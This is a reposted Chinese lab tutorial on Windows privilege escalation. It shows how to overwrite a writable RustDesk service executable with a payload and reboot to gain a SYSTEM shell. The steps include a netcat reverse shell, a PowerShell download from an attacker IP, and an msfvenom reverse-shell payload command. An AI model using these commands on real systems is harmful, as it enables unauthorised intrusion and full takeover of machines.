Windows 权限提升——基于服务目录写入的权限

admin 2024年10月30日19:35:45评论5 views字数 1614阅读5分22秒阅读模式

Windows 权限提升——基于服务目录写入的权限

基于服务目录写入的权限

在利用该服务之前,我们将自己创建易受攻击的机器并执行利用。

让我们开始吧

安装任何远程桌面应用程序,我们将安装“RustDesk”应用程序,运行该应用程序一次并关闭它。

让我们检查是否有任何正常的用户帐户

$net user
Windows 权限提升——基于服务目录写入的权限

然后检查“测试”用户是否属于任何管理组。“测试”用户不应该是管理组的一部分。

$net user test

Windows 权限提升——基于服务目录写入的权限

向您想要执行权限提升的用户授予权限,在这里我们将授予“测试”用户权限。

Right Click on RustDesk folder → Security → Edit → Add → Advance → Find Now → Select "test" user

Windows 权限提升——基于服务目录写入的权限

授予“测试”用户全部权限,现在“测试”用户具有服务目录的写权限。

Windows 权限提升——基于服务目录写入的权限

现在设置部分已经完成。

初始访问

使用“测试”用户打开命令提示符。

Windows 权限提升——基于服务目录写入的权限

在您的机器中找到 Netcat 可执行文件

Windows 权限提升——基于服务目录写入的权限

让我们使用 netcat 抛出一个 shell。

假设我们利用了一项服务并获得了初始 shell

$nc.exe -e cmd.exe <ip_address> <port_number>

Windows 权限提升——基于服务目录写入的权限

让我们执行窗口特权升级攻击

(基于权限的服务目录写入)

成功获取初始shell

Windows 权限提升——基于服务目录写入的权限

现在问题来了,当您有了初始 shell 时,您将在 Windows 操作系统中做什么。

第一件事就是毫不犹豫地上传winpeas 。

启动一个python服务器,并在windows系统中下载winpeas。

$powershell -c wget http://192.168.29.219:8001/winPEASx64.exe -OutFile win.exe

Windows 权限提升——基于服务目录写入的权限

现在运行系统中下载的winpeas ie。

这里我们感兴趣的是“已安装的应用程序 [All Access]”

Windows 权限提升——基于服务目录写入的权限

Windows 权限提升——基于服务目录写入的权限

AUTO_START — 系统启动/重启后服务也将重新启动。

BINARY_PATH_GROP — 服务可执行路径。

SERVICE_START_NAME 是 LocalSystem,表示服务以最高权限运行。

Windows 权限提升——基于服务目录写入的权限

这里我们无法启动/停止该服务。

Windows 权限提升——基于服务目录写入的权限

但是我们可以在服务可执行目录中写入。

那么,让我们从“msfvenom”生成一个有效载荷。

$msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.29.219 lport=5000 -f exe > shell.exe

Windows 权限提升——基于服务目录写入的权限

我们将把上述有效负载写入 RustDesk 可执行文件

现在的问题是,我们如何启动该服务?

我们尝试了与之前的漏洞类似的方法来重新启动服务,但我们的访问被拒绝。

https://medium.com/@anandnikhil33/windows-privilege-escalation-8214ceaf4db8

Windows 权限提升——基于服务目录写入的权限

我们注意到服务处于AUTO_START模式

让我们检查一下我们是否有权重启系统

在下面的 poc“SeSutdownPrivilege”中显示已禁用,但它默认是启用的,所以请忽略它。

Windows 权限提升——基于服务目录写入的权限

导航到“RustDesk”可执行路径。

我们将上述有效负载下载到 RustDesk 可执行目录。

Windows 权限提升——基于服务目录写入的权限

每当任何服务处于运行状态,并且其可执行文件正在使用时,如果您尝试写入任何内容,那么它会提示“该进程无法访问该文件,因为该文件正在被另一个进程使用”。

Windows 权限提升——基于服务目录写入的权限

现在我们将使用“重命名”,我们已经重命名了我们的可执行文件。

Windows 权限提升——基于服务目录写入的权限

请注意,现在我们没有任何名为“rustdesk.exe”的文件

Windows 权限提升——基于服务目录写入的权限

将 shell.exe 复制为 ruskdesk.exe 的名称,如果有人再次使用该文件,我们将获得反向 shell。

这是我们在基于权限的服务目录写入中必须遵循的方法

我们重命名了正在运行的服务可执行文件,并在上面写入我们的文件

现在“Rustdesk”官方路径就是我们的恶意可执行文件

Windows 权限提升——基于服务目录写入的权限

如何利用这一点?

我们必须重启系统

Windows 权限提升——基于服务目录写入的权限

重启系统

Windows 权限提升——基于服务目录写入的权限

通过使用反向 shell 负载替换服务可执行文件并重新启动服务,成功获取 shell。

Windows 权限提升——基于服务目录写入的权限

原文始发于微信公众号(Ots安全):Windows 权限提升——基于服务目录写入的权限

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月30日19:35:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows 权限提升——基于服务目录写入的权限https://cn-sec.com/archives/3333597.html

发表评论

匿名网友 填写信息